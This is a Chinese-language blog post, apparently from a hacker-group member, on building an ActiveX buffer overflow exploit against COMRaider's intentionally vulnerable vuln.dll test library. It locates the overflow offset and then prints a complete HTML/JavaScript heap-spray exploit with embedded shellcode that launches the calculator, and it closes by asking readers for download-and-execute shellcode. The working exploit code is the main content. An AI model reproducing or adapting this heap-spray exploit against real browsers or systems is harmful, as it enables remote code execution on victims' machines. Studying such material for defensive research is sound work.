ActiveX Exploit简单构造

By:疯狗【B.C.T】

忽然发现我仅仅是发掘ActiveX漏洞,但不去利用,利用远远要比发掘有趣:)
COMRaider自带了一个vuln.dll的漏洞链接库文件,我就拿这个下手吧(外面的AX漏洞要么已经被开发出exp,要么已经被找的差不多了…)
一共5个函数,我就用Method1参数进行攻击,字符型的

溢出点的定位我还是用CCProxy Telnet Proxy Ping远程栈溢出分析中的方法,首先生成1000个字符,然后提交到函数中,意料之中的崩溃,看看错误

输出26禁止的地址对应,找到"4c494141AAIL 220 0xdc EIP ==> 0x4c494141",也就是说216个字符的时候就是溢出点了,为什么?还是仔细看看我写的那篇CCProxy Telnet溢出的文章中说道的那个工具与技巧:)
不过为了证实一下构造下面的代码

……
while (s.length < 217) {
s += "\x41";
}
test.Method1(s);
……

因为数据入堆栈的顺序问题,所以最后是41,也就是多余的那个A,呵呵,溢出点定位了,构造exp,这个没什么说的,直接给出代码,使用heap spray方法,目前这个很流行,暴力在内存开出一片空间,然后NOP到shellcode,我是这么理解的。

<html>
<object classid="clsid:8EF2A07C-6E69-4144-96AA-2247D892A73D" id='target'></object>
<body>
<SCRIPT language="javascript">
var shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<300; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 217) buffer+="\x0a\x0a\x0a\x0a";
target.Method1(buffer);
</script>
</body>
</html>

最后计算器运行成功,可是IE挂掉了,也许是SEH的问题,在研究。另外溢出点定位<217的时候也就是216个字符,溢出会成功,可是经常出现失败的情况,错误地址就是定义"\x0a\x0a\x0a\x0a",如果溢出点是217的字符,基本是 100%成功,不知道什么原因,希望指点:)
我的MSN是:[email protected]

PS:down&exec的shellcode谁有好的给我份哒,3Q~

相关日志

发表评论